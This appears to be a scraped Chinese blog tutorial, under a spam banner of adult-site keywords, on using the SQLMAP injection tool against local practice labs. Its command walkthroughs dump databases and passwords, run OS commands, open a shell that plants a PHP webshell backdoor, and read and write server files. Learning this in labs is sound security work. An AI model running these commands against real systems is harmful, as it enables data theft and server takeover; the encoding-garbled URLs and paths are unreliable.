日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 综合教程 >内容正文

综合教程

【SQL注入】之SQLMAP工具的使用

發(fā)布時間:2023/12/13 综合教程 20 生活家
生活随笔 收集整理的這篇文章主要介紹了 【SQL注入】之SQLMAP工具的使用 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

(本文僅為平時學(xué)習(xí)記錄,若有錯誤請大佬指出,如果本文能幫到你那我也是很開心啦)

一、介紹

1.SQL注入工具:明小子、啊D、羅卜頭、穿山甲、SQLMAP等等

2.SQLMAP:使用python開發(fā),開源自動化注入利用工具,支持12種數(shù)據(jù)庫 ,在/plugins/dbms中可以看到支持的數(shù)據(jù)庫種類,在所有注入利用工具中它是最好用的!!!

3.支持的注入類型:bool、time、報錯、union、堆查詢、內(nèi)聯(lián)

4.功能:

可以獲取用戶名、密碼、權(quán)限、角色、數(shù)據(jù)庫(表、字段、內(nèi)容)
可以爆破識別密文數(shù)據(jù)
getshell(反彈shell)
命令執(zhí)行
脫庫或刪庫

二、SQLMAP的目錄介紹:

目錄 介紹
doc 介紹文檔
extra sqlmap額外的功能,運行cmd、執(zhí)行命令
lib sqlmap的核心功能代碼
plugins 包含12種數(shù)據(jù)庫的識別程序
data 存放一些攻擊過程種使用的工具或者命令
/data/procs 包含了mssql、mysql、oracle、postgresql這四種數(shù)據(jù)庫的觸發(fā)程序
/data/shell 遠程命令、后門
/data/txt 表名、列名、UA字典
/data/udf 存放攻擊載荷(payload)
/data/XML 存放檢測腳本(payload)
tamper 包含各種繞過WAF的處理腳本
thirdparty 包含第三方插件,如顏色、優(yōu)化等等
waf 識別WAF的腳本

三、SQLMAP的工作流程

1.初始化

1 salmap -v  查看版本
2 salmap --update  更新

2.開始檢測

檢測之前是否注入過(會把當(dāng)前檢測URL 默認(rèn)存放在用戶家目錄中.sqlmap下的output),使用--output-dir可指定存放的目錄
解析URL,判斷URL是否可訪問
檢測是否有WAF

sqlmap -u "目標(biāo)url" --identify-waf
sqlmap -u "目標(biāo)url" --check-waf

執(zhí)行用戶輸入的參數(shù)

 1 -u  指定URL
 2 -p  指定參數(shù)
 3 -v  指定顯示級別
 4 --dbs  目標(biāo)服務(wù)器中的數(shù)據(jù)庫
 5 --current-db  當(dāng)前數(shù)據(jù)庫
 6 --tables  目標(biāo)數(shù)據(jù)庫有什么表
 7 --columns  目標(biāo)表中有什么列
 8 --dump  獲取數(shù)據(jù)
 9 --batch  跳過問詢(yes)之間執(zhí)行,批處理,在檢測過程中會問用戶一些問題,使用這個參數(shù)統(tǒng)統(tǒng)使用默認(rèn)值
10 --dbms  指定數(shù)據(jù)庫類型
11 --current-user  查看當(dāng)前用戶
12 --users  查看所有用戶
13 --passwords  數(shù)據(jù)庫密碼
14 --hostname  系統(tǒng)名稱
15 --banner  數(shù)據(jù)庫信息
16 --roles  數(shù)據(jù)庫用戶角色
17 等等

四、步驟詳解

GET型注入的SQLMAP利用方法:

1.判斷是否有注入點

sqlmap -u "目標(biāo)url"

當(dāng)看到探測的結(jié)果中有沒有環(huán)境參數(shù)(系統(tǒng)類型和數(shù)據(jù)庫類型),則表明有注入

2.查看所有數(shù)據(jù)庫

1 sqlmap -u "目標(biāo)_url" --dbs --dbms mysql
2     --dbms=DBMS 指定目標(biāo)數(shù)據(jù)庫類型

3.獲取當(dāng)前數(shù)據(jù)庫

sqlmap -u "目標(biāo)_url" --current-db --dbms mysql

4.獲取當(dāng)前數(shù)據(jù)庫下表

 1 sqlmap -u "目標(biāo)_url" -D 庫名 --dbms mysql --tables --batch -v
 2     -D DB 指定從某個數(shù)據(jù)庫查詢數(shù)據(jù)
 3     -v 顯示信息的級別,一共有六級:
 4         0:只顯示python 錯誤和一些嚴(yán)重信息
 5         1:顯示基本信息(默認(rèn))
 6         2:顯示debug信息
 7         3:顯示注入過程的payload
 8         4:顯示http請求包
 9         5:顯示http響應(yīng)頭
10         6:顯示http相應(yīng)頁面    

5.獲取當(dāng)前數(shù)據(jù)庫中指定表下的字段

1 sqlmap -u "目標(biāo)url" -D 庫名 -T 表名 --columns
2     -T TBL 指定從某個表查詢數(shù)據(jù)

6.獲取指定字段對應(yīng)的數(shù)據(jù)內(nèi)容

1 sqlmap -u "目標(biāo)url" -D 庫名 -T 表名 -C 字段名1,字段名2,等等 --dump
2     -C COL 指定從某個列查詢數(shù)據(jù)
3     --dump 查詢指定范圍的全部數(shù)據(jù)
4         (對加密的密碼進行彩虹表攻擊)

五、SQLMAP工具測試

GET型 ,測試使用DVWA中的SQL Injection模塊(Low級別)

1.檢測是否有注入點

sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#"

翻譯(注入過程中詢問的內(nèi)容)

sqlmap got a 302 redirect to 'http://127.0.0.1:80/dvwa/login.php'

sqlmap得到302重定向到“http://127.0.0.1:80/dvwa/login.php”

you have not declared cookie(s), while server wants to set its own ('PHPSESSID=ua503vlvaom...715dscplg7;security=impossible;security=impossible')

您尚未聲明cookie,而服務(wù)器希望設(shè)置自己的cookie('phpsessid=ua503vlvaom…715dscplg7;security=impossible;security=impossible')

由上圖可知,結(jié)果是跳轉(zhuǎn)到登錄頁面,是需要帶cookie的,查到session為nh9elbltn3coe0kgvdnq1l6755(在地址欄種輸入javascript:alert(document.cookie)查詢cookie)

sqlmap.py -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low;PHPSESSID=nh9elbltn3coe0kgvdnq1l6755" --batch

POST型注入的SQLMAP利用方法(這種方式GET型數(shù)據(jù)也可利用):

1.攔截數(shù)據(jù)包

2.將攔截到的數(shù)據(jù)包保存在post.txt文件里

右鍵空白處,選擇Cope to file

3.查看post.txt的內(nèi)容

4.使用SQLMAP進行檢測

1 python sqlmap.py -r C:UsersadminDesktoppost.txt -p "uname" --batch
2     -r  讀取指定的文件
3     -p  告訴SQLMAP測試哪個參數(shù)

六、cookie 注入

1.介紹:數(shù)據(jù)經(jīng)過cookie發(fā)送給服務(wù)器,cookie可以傳輸參數(shù),并且有注入點

2.cookie型注入利用方法(測試使用sqli-labs第20關(guān)):

抓取的數(shù)據(jù)包來源于下面的界面

將抓取到的數(shù)據(jù)包發(fā)送到Repeater模塊中,Go一下,查看回顯

檢測注入點

將此數(shù)據(jù)包保存在post_cookie.txt文件里(這個數(shù)據(jù)類型是GET型,當(dāng)時寫錯了)

使用SQLMAP進行檢測

python sqlmap.py -r C:UsersadminDesktoppost_cookie.txt --cookie "uname=12" --level 2
    --level=LEVEL  執(zhí)行測試的等級(1-5,默認(rèn)是1,lv2:cookie; lv3:user-agent,refere; lv5:host 在sqlmap/xml/payloads文件內(nèi)可以看見各個level發(fā)送的payload)
或sqlmap.py -r C:UsersadminDesktoppost_cookie.txt --level 2

從回顯中可以看到,SQLMAP自動將獲取到的數(shù)據(jù)記錄到了一個目錄下,進入到該目錄下的127.0.0.1中,該目錄下的log記錄的檢查出的結(jié)果

七、XFF注入

注入基本過程(方法與cookie注入類似)

1.攔包

2.使用SQLMAP檢查注入點

GET型數(shù)據(jù):

sqlmap -u “目標(biāo)URL” -p “x-forwarded-for” -level 3

POST型數(shù)據(jù):

sqlmap -r post_xff.txt --level 3

八、UA注入

測試使用sqli-labs第18關(guān)
注入基本過程(方法與cookie注入類似)

1.攔包

2.使用SQLMAP檢查注入點

GET型數(shù)據(jù):

sqlmap -u “目標(biāo)URL” -p “user-agent” -level 3

POST型數(shù)據(jù):

1 sqlmap -r post_ua.txt --level 3 --dbms mysql --batch
2   --dbms  指定目標(biāo)數(shù)據(jù)庫類型
3 sqlmap -r post_ua.txt --level 3 --current-user
4   --current-user  查看當(dāng)前用戶

九、SQLMAP注入點執(zhí)行系統(tǒng)命令或交互式shell

1.條件:

數(shù)據(jù)庫有讀寫文件的權(quán)限
需要知道WEB站點的路徑(可使用select @@datadir)

2.使用SQLMAP執(zhí)行系統(tǒng)命令

1 sqlmap.py -u “目標(biāo)URL” --os-cmd=ipconfig
2     --os-cmd=OSCMD 執(zhí)行一句系統(tǒng)命令
3 sqlmap -r post_ua.txt --level 3 --os-cmd=ipconfig  執(zhí)行系統(tǒng)命令ipconfig
4 sqlmap -r post_ua.txt --level 3 --os-shell  獲取系統(tǒng)的shell
5 sqlmap -r post_ua.txt --level 3 --is-dba  判斷當(dāng)前用戶是否為管理員

十、延時注入

1 sqlmap.py -u "目標(biāo)url"  --delay 2
2     --delay 2 延時2S注入

十一、執(zhí)行數(shù)據(jù)庫命令

命令:

1 --sql-query=QUERY  執(zhí)行一個sql語句
2 --sql-shell 創(chuàng)建一個sql的shell(獲取一個交互式的數(shù)據(jù)庫終端)
3 --sql-file=SQLFILE  執(zhí)行一個給定文件中的sql語句

注入利用:

測試使用pikachu里的sqli中字符型注入(需要在Github中查找資源并搭建)

1.瀏覽網(wǎng)站pikachu,http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢

2.使用SQLMAP檢測注入點

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" --batch

3.根據(jù)回顯存在注入點,使用SQLMAP執(zhí)行數(shù)據(jù)庫命令

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" -p name --dbms mysql --os-cmd=whoami

在下圖紅框內(nèi)可以看到系統(tǒng)命令被正常執(zhí)行

翻譯(注入過程中詢問的內(nèi)容):

Web服務(wù)器支持哪種Web應(yīng)用程序語言?

[1]asp

[2]ASPX

[3]jsp

[4]php(默認(rèn))

>4

是否希望sqlmap進一步嘗試觸發(fā)完整路徑泄漏?[是/否]是

[21:34:02][警告]無法自動檢索Web服務(wù)器文檔根目錄

要將什么用于可寫目錄?

[1]公共位置(C:/xampp/htdocs/,C:/wamp/www/,C:/inetpub/wwwroot/')(默認(rèn))

[2]自定義位置

[3]自定義目錄列表文件

[4]蠻力搜索

>2

是否要檢索命令標(biāo)準(zhǔn)輸出?[是/否/否]是

命令標(biāo)準(zhǔn)輸出:“desktop-18q770sadmin”

請?zhí)峁┮粋€逗號分隔的絕對目錄路徑列表:f:phpstudy_64phpstudy_Prowww//路徑需要自己輸入

4.獲取一個交互式的數(shù)據(jù)庫終端

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" -p name --dbms mysql --os-shell

在注入過程中會自動生成后門文件

翻譯:

[21:40:33]文件暫存器已成功上載到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpupjuy.php

[21:40:33]后門已成功上載到“f:/phpstudy_64/phpstudy_Pro/www/”-http://127.0.0.1:80/tmpbaqhn.php

在瀏覽器中兩個文件訪問查看效果

http://127.0.0.1/tmpupjuy.php輔助工具,用來上傳木馬

http://127.0.0.1/tmpbaqhn.php木馬

其內(nèi)容為:

<?php $c=$_REQUEST["cmd"];

瀏覽http://127.0.0.1/tmpbaqhn.php?cmd=whoami,可以看到其功能

十二、SQLMAP 直連mysql數(shù)據(jù)庫

1 python sqlmap.py -d "mysql://root:root@目標(biāo)IP:3306/mysql" -f --banner --dbs --users
2     -f, --fingerprint  指紋信息,返回DBMS,操作系統(tǒng),架構(gòu),補丁等信息
3     --hostname  獲取系統(tǒng)信息
4     --banner  獲取數(shù)據(jù)庫信息
5     --roles  獲取數(shù)據(jù)庫用戶角色

十三、sqlmap注入利用Access

1.Access數(shù)據(jù)庫:沒有庫的概念,打開數(shù)據(jù)庫文件看到只有表和字段以及內(nèi)容

2.Access注入過程(注意其特性,只有表和表下的字段內(nèi)容):

先探測注入點
獲取數(shù)據(jù)庫表

sqlmap.py -u "目標(biāo)url" --tables  獲取所有的數(shù)據(jù)表

獲取字段

sqlmap.py -u "目標(biāo)url" -T 表名 --columns  獲取字段

獲取字段內(nèi)容

sqlmap.py -u "目標(biāo)url" -T 表名 -C 字段名 --dump  獲取字段內(nèi)容

十四、SQLMAP結(jié)合BP日志進行被動式注入發(fā)現(xiàn)

測試在pikachu里的sqli中數(shù)字型注入

1.開啟BP2.1的日志記錄功能,并將日志內(nèi)容保存到桌面log.txt中

勾選后會彈出下面的窗口,我選擇的是已經(jīng)建好的文件log.txt,彈出警告,選擇Yes即可

2.抓包

3.在瀏覽器中多進行幾次提交,需要提前關(guān)閉BP中的Intercept is on,然后打開log.txt,瀏覽器提交的數(shù)據(jù)全部進入到了log.txt中

4.使用SQLMAP進行檢測

1 sqlmap.py -l C:UsersadminDesktoplog.txt --batch
2     -l 后接一個log文件,可以是burp等的代理的log文件,之后sqlmap會掃描log中的所有記錄

翻譯(最后一句):

您可以在csv文件“c: usersadminappdatalocalsqlmapoutputesults-10302019_1119pm.csv”中找到以多目標(biāo)模式掃描的結(jié)果。

5.打開results-10302019_1119pm.csv文件,可知該URL中存在的注入類型

(Parameter:參數(shù)Technique:技術(shù))

SQLMAP指定測試注入的技術(shù):

1 python sqlmap.py -u “目標(biāo)URL” -dbms mysql --technique=T
2     --technique=TECH 指定所使用的技術(shù)(B:布爾盲注;E:報錯注入;U:聯(lián)合查詢注入;S:文件系統(tǒng),操作系統(tǒng),注冊表相關(guān)注入;T:時間盲注; 默認(rèn)全部使用)
3         B: Boolean-based blind SQL injection(布爾型注入)
4         E: Error-based SQL injection(報錯型注入)
5         U: UNION query SQL injection(可聯(lián)合查詢注入)
6         S: Stacked queries SQL injection(可多語句查詢注入)
7         T: Time-based blind SQL injection(基于時間延遲注入)
8         Q: inline_query SQL injection(內(nèi)聯(lián)注入)

十五、SQLMAP讀寫文件

命令:

1 --file-read=RFILE 從后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)讀取文件 (物理路徑)
2 --file-write=WFILE 編輯后端的數(shù)據(jù)庫管理系統(tǒng)文件系統(tǒng)上的本地文件 (mssql xp_shell)
3 --file-dest=DFILE 后端的數(shù)據(jù)庫管理系統(tǒng)寫入文件的絕對路徑

測試使用pikachu里的sqli中字符型注入

1.使用SQLMAP讀文件

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" -p name --dbms mysql --file-read="F:phpStudy_64phpstudy_proWWWPDO_kuanjiezi.php"

翻譯:

正在獲取文件:“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”

是否確認(rèn)已從后端DBMS文件系統(tǒng)成功下載遠程文件“f:/phpstudy_64/phpstudy_Pro/www/pdo_kuanjiezi.php”?[是/否]是

[23:57:05]本地文件'c: usersadminappdatalocalsqlmapoutput127.0.0.1filesf_u phpstudy_u phpstudy_u pro_www_u kuanjiezi.php'和遠程文件'f:/phpstudy_u 64/phpstudy_u pro/www/pdo_u kuanjiezi.php'具有相同的大小(988b)

文件保存到[1]:

C:UsersadminAppDataLocalsqlmapoutput127.0.0.1files

[23:57:05]獲取的數(shù)據(jù)記錄到文本文件中,位于“C:usersadminappdatalocalsqlmapoutput127.0.0.1”下

進入C:usersadminappdatalocalsqlmapoutput127.0.0.1目錄下,里面有讀取到的文件的記錄,使用SQLMAP讀取文件成功

2.使用SQLMAP寫文件

新建log.txt文件,并寫入以下內(nèi)容

使用SQLMAP寫文件

sqlmap.py -u "http://127.0.0.1/pikachu/vul/sqli/sqli_str.php?name=admin&submit=??¥èˉ¢" -p name --dbms mysql --file-dest="F:phpStudy_64phpstudy_proWWWloglog.php(目標(biāo)服務(wù)器中的文件,絕對路徑)" --file-write="C:UsersadminDesktoplog.txt(攻擊者電腦中的文件路徑)"

翻譯:

是否要確認(rèn)本地文件“c:/users/admin/desktop/log.txt”已成功寫入后端DBMS文件系統(tǒng)(“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”)。[是/否]是

[00:08:58]遠程文件“f:/phpstudy_64/phpstudy_Pro/www/loglog.php”比本地文件“c:/users/admin/desktop/log.txt”(18b)大(19b)

[00:08:58]獲取的數(shù)據(jù)記錄到文本文件中,位于“C:usersadminappdatalocalsqlmapoutput127.0.0.1”下

使用WinHex打開F:/phpstudy_64/phpstudy_Pro/www/loglog.php

使用瀏覽器進行訪問,可以看到使用SQLMAP寫入文件成功

總結(jié)

以上是生活随笔為你收集整理的【SQL注入】之SQLMAP工具的使用的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。